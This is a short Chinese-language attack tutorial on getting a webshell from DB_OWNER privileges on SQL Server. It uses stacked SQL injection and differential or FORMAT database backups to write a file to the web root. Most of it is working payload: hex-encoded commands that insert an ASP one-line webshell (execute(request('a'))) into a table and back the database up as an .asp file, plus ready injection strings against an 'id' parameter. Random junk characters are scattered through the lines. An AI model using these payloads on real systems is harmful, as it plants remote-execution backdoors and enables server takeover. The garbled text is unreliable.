DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
  _9 q1 |- J4 d- Y1 S- d+ x& E0 X. R! I一利用差异备份
6 ]0 M/ P) J  L加一个参数WITH DIFFERENTIAL
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/ ?" M6 l1 j! v' f) Q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
1 N) J. C% C' G# uinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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7 S# ?9 I( W, p0 j% k2 J: R二利用完全FORMAT
' c& x3 k* z7 k/ I- u加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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8 L  N8 k6 Y% C! |- T8 Y% L declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 u' ^# j8 q5 M0 l* pcreate table [dbo].[xiaolu] ([cmd] [image]);
' S2 h- ]- `: i# ^insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 S( i% ~8 c6 i* o" Ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

: A( j& X( r9 I& P1 H总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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. [0 d9 u' g6 [ id=1;backup database model to disk='你的路径‘ with differential,format;--
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